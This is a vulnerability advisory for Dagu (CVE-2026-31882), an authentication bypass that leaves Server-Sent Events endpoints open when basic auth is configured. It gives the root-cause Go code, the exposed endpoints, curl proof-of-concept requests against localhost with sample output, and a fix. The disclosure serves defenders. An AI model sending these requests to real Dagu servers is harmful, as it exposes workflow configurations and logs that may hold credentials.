GHSA-9WMW-9WPH-2VWP

Vulnerability from github – Published: 2026-03-13 15:05 – Updated: 2026-03-16 17:06
VLAI
Summary
Dagu: SSE Authentication Bypass in Basic Auth Mode
Details

SSE Authentication Bypass in Basic Auth Mode

Summary

When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.

Severity

HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Affected Versions

  • dagu v2.2.3 (latest) and likely all versions with basic auth support

Affected Component

internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)

Root Cause

The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):

// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
        // AuthRequired is NOT set — defaults to false
    }
}

The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:

// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
    next.ServeHTTP(w, r)
    return
}

The developers left a FIXME comment (line 1193) acknowledging this issue:

// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.

Exposed SSE Endpoints

All SSE routes are affected (server.go:1004-1019):

Endpoint Data Leaked
/api/v1/events/dags All DAG names, descriptions, file paths, schedules, tags, execution status
/api/v1/events/dags/{fileName} Individual DAG configuration details
/api/v1/events/dags/{fileName}/dag-runs DAG execution history
/api/v1/events/dag-runs All active DAG runs across the system
/api/v1/events/dag-runs/{name}/{dagRunId} Specific DAG run status and node details
/api/v1/events/dag-runs/{name}/{dagRunId}/logs Execution logs (may contain secrets, credentials, API keys)
/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} Step-level stdout/stderr logs
/api/v1/events/queues Queue status and pending work items
/api/v1/events/queues/{name}/items Queue item details
/api/v1/events/docs-tree Documentation tree
/api/v1/events/docs/* Documentation content

Additionally, the Agent SSE stream uses the same auth options (server.go:1166).

Proof of Concept

Setup

# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all

Verify REST API requires auth

# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401

# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200

Exploit SSE bypass

# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags

Output (truncated):

event: connected
data: {"topic":"dagslist:"}

event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs

Output:

event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}

Wrong credentials are rejected

# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401

Impact

An unauthenticated network attacker can:

  1. Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags
  2. Monitor execution in real-time: Track which workflows are running, their status, and when they complete
  3. Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
  4. Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details
  5. Observe queue state: Understand pending work items and system load

This is especially critical in environments where: - Workflows process sensitive data (credentials, PII, financial data) - DAG parameters contain secrets passed at runtime - Log output includes API responses or database queries with sensitive content

Suggested Fix

Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:

if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        AuthRequired:     true,  // Require authentication
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
    }
}

For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dagu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:05:32Z",
    "nvd_published_at": "2026-03-13T19:54:37Z",
    "severity": "HIGH"
  },
  "details": "# SSE Authentication Bypass in Basic Auth Mode\n\n## Summary\n\nWhen Dagu is configured with HTTP Basic authentication (`DAGU_AUTH_MODE=basic`), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status \u2014 bypassing the authentication that protects the REST API.\n\n## Severity\n\n**HIGH** (CVSS 3.1: 7.5 \u2014 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\n## Affected Versions\n\n- dagu v2.2.3 (latest) and likely all versions with basic auth support\n\n## Affected Component\n\n`internal/service/frontend/server.go` \u2014 `buildStreamAuthOptions()` function (lines 1177\u20131201)\n\n## Root Cause\n\nThe `buildStreamAuthOptions()` function builds authentication options for SSE/streaming endpoints. When the auth mode is `basic`, it returns an `auth.Options` struct with `BasicAuthEnabled: true` but `AuthRequired` defaults to `false` (Go zero value):\n\n```go\n// server.go:1195-1201\nif authCfg.Mode == config.AuthModeBasic {\n    return auth.Options{\n        Realm:            realm,\n        BasicAuthEnabled: true,\n        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},\n        // AuthRequired is NOT set \u2014 defaults to false\n    }\n}\n```\n\nThe authentication middleware at `internal/service/frontend/auth/middleware.go:181-183` allows unauthenticated requests when `AuthRequired` is false:\n\n```go\n// No credentials provided\n// If auth is not required, allow the request through\nif !opts.AuthRequired {\n    next.ServeHTTP(w, r)\n    return\n}\n```\n\nThe developers left a FIXME comment (line 1193) acknowledging this issue:\n```\n// FIXME: add a session-token mechanism for basic-auth users so browser\n// EventSource requests can authenticate via the ?token= query parameter.\n```\n\n## Exposed SSE Endpoints\n\nAll SSE routes are affected (`server.go:1004-1019`):\n\n| Endpoint | Data Leaked |\n|----------|-------------|\n| `/api/v1/events/dags` | All DAG names, descriptions, file paths, schedules, tags, execution status |\n| `/api/v1/events/dags/{fileName}` | Individual DAG configuration details |\n| `/api/v1/events/dags/{fileName}/dag-runs` | DAG execution history |\n| `/api/v1/events/dag-runs` | All active DAG runs across the system |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}` | Specific DAG run status and node details |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs` | Execution logs (may contain secrets, credentials, API keys) |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName}` | Step-level stdout/stderr logs |\n| `/api/v1/events/queues` | Queue status and pending work items |\n| `/api/v1/events/queues/{name}/items` | Queue item details |\n| `/api/v1/events/docs-tree` | Documentation tree |\n| `/api/v1/events/docs/*` | Documentation content |\n\nAdditionally, the Agent SSE stream uses the same auth options (`server.go:1166`).\n\n## Proof of Concept\n\n### Setup\n```bash\n# Start Dagu with basic auth\nexport DAGU_AUTH_MODE=basic\nexport DAGU_AUTH_BASIC_USERNAME=admin\nexport DAGU_AUTH_BASIC_PASSWORD=secret123\ndagu start-all\n```\n\n### Verify REST API requires auth\n```bash\n# Regular API \u2014 returns 401 Unauthorized\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost:8080/api/v1/dags\n# Output: 401\n\n# With credentials \u2014 returns 200\ncurl -s -o /dev/null -w \"%{http_code}\" -u admin:secret123 http://localhost:8080/api/v1/dags\n# Output: 200\n```\n\n### Exploit SSE bypass\n```bash\n# SSE endpoint WITHOUT any credentials \u2014 returns 200 with full data\ncurl -s -N http://localhost:8080/api/v1/events/dags\n```\n\n**Output (truncated):**\n```\nevent: connected\ndata: {\"topic\":\"dagslist:\"}\n\nevent: data\ndata: {\"dags\":[{\"dag\":{\"name\":\"example-01-basic-sequential\",\"schedule\":[],...},\n\"filePath\":\"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml\",\n\"latestDAGRun\":{\"dagRunId\":\"...\",\"status\":4,\"statusLabel\":\"succeeded\",...}},\n...]}\n```\n\n```bash\n# Access execution logs without credentials\ncurl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs\n```\n\n**Output:**\n```\nevent: data\ndata: {\"schedulerLog\":{\"content\":\"...step execution details, parameters, outputs...\"},\"stepLogs\":[...]}\n```\n\n### Wrong credentials are rejected\n```bash\n# Invalid credentials \u2014 returns 401 (auth validates IF provided, but doesn\u0027t REQUIRE it)\ncurl -s -o /dev/null -w \"%{http_code}\" -u wrong:wrong http://localhost:8080/api/v1/events/dags\n# Output: 401\n```\n\n## Impact\n\nAn unauthenticated network attacker can:\n\n1. **Enumerate all workflows**: DAG names, descriptions, file paths, schedules, and tags\n2. **Monitor execution in real-time**: Track which workflows are running, their status, and when they complete\n3. **Read execution logs**: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)\n4. **Map infrastructure**: File paths and workflow configurations reveal server directory structure and deployment details\n5. **Observe queue state**: Understand pending work items and system load\n\nThis is especially critical in environments where:\n- Workflows process sensitive data (credentials, PII, financial data)\n- DAG parameters contain secrets passed at runtime\n- Log output includes API responses or database queries with sensitive content\n\n## Suggested Fix\n\nSet `AuthRequired: true` for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:\n\n```go\nif authCfg.Mode == config.AuthModeBasic {\n    return auth.Options{\n        Realm:            realm,\n        BasicAuthEnabled: true,\n        AuthRequired:     true,  // Require authentication\n        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},\n    }\n}\n```\n\nFor browser SSE compatibility, implement a session token that can be passed via the `?token=` query parameter (the `QueryTokenMiddleware` already exists at `auth/middleware.go:39` to convert query params to Bearer tokens).",
  "id": "GHSA-9wmw-9wph-2vwp",
  "modified": "2026-03-16T17:06:32Z",
  "published": "2026-03-13T15:05:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-9wmw-9wph-2vwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/pull/1752"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/commit/064616c9b80c04824c1c7c357308f77f3f24d775"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dagu-org/dagu"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/releases/tag/v2.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dagu: SSE Authentication Bypass in Basic Auth Mode"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…